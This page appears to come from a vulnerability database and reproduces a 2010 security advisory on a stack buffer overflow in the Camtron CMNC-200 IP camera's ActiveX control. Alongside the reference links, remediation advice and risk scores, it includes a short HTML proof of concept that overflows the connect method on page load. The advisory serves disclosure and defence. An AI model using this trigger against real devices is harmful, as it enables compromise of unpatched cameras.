Camtron CMNC-200 IP Camera - ActiveX Buffer Overflow

🗓️ 13 Nov 2010 00:00:00Reported by Trustwave's SpiderLabsType

Camtron CMNC-200 IP Camera ActiveX Buffer Overflow CVE-2010-423

Reporter	Title	Published	Views	Family All 11
Circl	CVE-2010-4230	13 Nov 201000:00	–	circl
CVE	CVE-2010-4230	16 Nov 201023:00	–	cve
Cvelist	CVE-2010-4230	16 Nov 201023:00	–	cvelist
EUVD	EUVD-2010-4204	7 Oct 202500:30	–	euvd
exploitpack	Camtron CMNC-200 IP Camera - ActiveX Buffer Overflow	13 Nov 201000:00	–	exploitpack
NVD	CVE-2010-4230	17 Nov 201001:00	–	nvd
Packet Storm	Camtron CMNC-200 IP Camera Traversal / Overflow / Bypass / Denial Of Service	12 Nov 201000:00	–	packetstorm
Prion	Stack overflow	17 Nov 201001:00	–	prion
securityvulns	TWSL2010-006: Multiple Vulnerabilities in Camtron CMNC-200 IP Camera	18 Nov 201000:00	–	securityvulns
securityvulns	Camtron CMNC-200 camera multiple security vulnerabilities	18 Nov 201000:00	–	securityvulns

Finding 1: Buffer Overflow in ActiveX Control
CVE: CVE-2010-4230

The CMNC-200 IP Camera ActiveX control identified by
CLSID {DD01C8CA-5DA0-4B01-9603-B7194E561D32} is vulnerable
to a stack overflow on the first argument of the connect method.
The vulnerability can be used to set the EIP register,
allowing a reliable exploitation.

The example code below triggers the vulnerability.

<html>
<head><title>IPcam POC</title>
<script>
function Check(){
    var bf1 = 'A';
    while (bf1.length <= 6144) bf1 = bf1 + 'A';
    obj.connect(bf1,"BBBB","CCCC");
}
</script>
</head>
<body onload=" Check();">
<object classid="clsid:DD01C8CA-5DA0-4B01-9603-B7194E561D32"
id="obj">
</object>
</html></body>

Vendor Response:
No response received.

Remediation Steps:
No patch currently exists for this issue. To limit exposure,
network access to these devices should be limited to authorized
personnel through the use of Access Control Lists and proper
network segmentation.

13 Nov 2010 00:00Current

6.5Medium risk

Vulners AI Score6.5

CVSS 29.3

EPSS0.20632